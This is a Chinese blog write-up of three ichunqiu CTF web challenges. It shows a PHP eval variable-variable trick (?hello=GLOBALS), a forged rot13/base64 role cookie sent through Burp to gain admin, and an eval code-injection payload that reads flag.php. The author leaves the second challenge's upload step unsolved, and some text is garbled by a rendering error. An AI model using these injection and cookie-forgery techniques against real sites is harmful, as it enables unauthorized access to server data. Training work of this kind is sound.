

记录i春秋的writeup

原创

shanoluoMu 于 2020-09-04 12:24:44 发布 413 收藏 1

文章标签： 正则表达式 安全

版权声明： 本文为博主原创文章， 遵循[CC 4.0 BY-SA](#)版权协议， 转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/a233333333333/article/details/108401922>

版权

记录i春秋的writeup

第一题、爆破-1

第二题、who are you?

第三题、爆破-2

第一题、爆破-1

提示：flag就在某六位变量中。

姑且先打开链接flag就在某六位变量中，查看代码。

```
<?php
include "flag.php";
$a = @$_REQUEST['hello']; # $_REQUEST数组里面包括了$_GET[] 和$_POST[]
if(!preg_match('/^\\w*$/', $a )){ # ^匹配一行的开头, $表示结束。\\w表示匹配包括下划线的任何单词字符, *匹配前面的子表达式零次或多次
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```

随便构造一个可以匹配的正则表达式

<http://40a0214c755d4e3d97e439fa75ad0e2bd73022bbb1934976.changame.ichunqiu.com/?hello=a>

```
string(1) "a" <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\\w*$/', $a )) {
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```

<https://blog.csdn.net/a2333333333333333>

继续看，注意eval("var_dump(KaTeX parse error: Can't use function '\$' in math mode at position 7: a);") \$a为hello, a就是\$hello。

此处应设置一个全局变量

在URL后加?hello=GLOBALS，将参数hello修改为Globals

第二题、who are you?

打开链接<http://106.75.72.168:2222>, 什么都没有

查看源码也没有, 用御剑扫一下。

抓个包看看

发现了可疑的东西

Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz

Target: http://106.75.72.168:2222

Request

Raw Params Headers Hex

```
GET /? HTTP/1.1
Host: 106.75.72.168:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: role=Zjo1Oj0aHJmZyI7
```

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Fri, 04 Sep 2020 08:03:30 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Vary: Accept-Encoding
Content-Length: 112
Connection: close
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
Sorry. You have no permissions.</body>
</html>
```

Done

base64解码一下: `f:5:"thrfg";`

不知道是啥, 看了其他的writeup才知道是rot13加密

thrfg解密后是guest, 这就是权限了吧。

于是将admin同样rot13, base64加密后植入包中

Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz

Target: http://106.75.72.168:2222

Request

Raw Params Headers Hex

```
GET /? HTTP/1.1
Host: 106.75.72.168:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: role=Zjo1Oj0cXp2YSI
```

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Fri, 04 Sep 2020 08:26:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Vary: Accept-Encoding
Content-Length: 210
Connection: close
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<title></title>
```

```
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello
admin, now you can upload something you are easy to forget.</body>
</html>
```

Done

Type a search term 0 matches

Type a search term 0 matches

<https://blog.csdn.net/a21> 422 bytes | 61 millis

提示上传文件，不知道为什么，我怎么构造都显示hello admin
就这样吧

第三题、爆破-2

打开后是这样子的

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);"); # var_dump()用于输出变量的相关信息
show_source(__FILE__);
```

构造payload

```
http://64d1e1e7e4174b18a4fad87d7697bac78b687333459a472b.changame.ichunqiu.com/?hello=file("flag.php")
```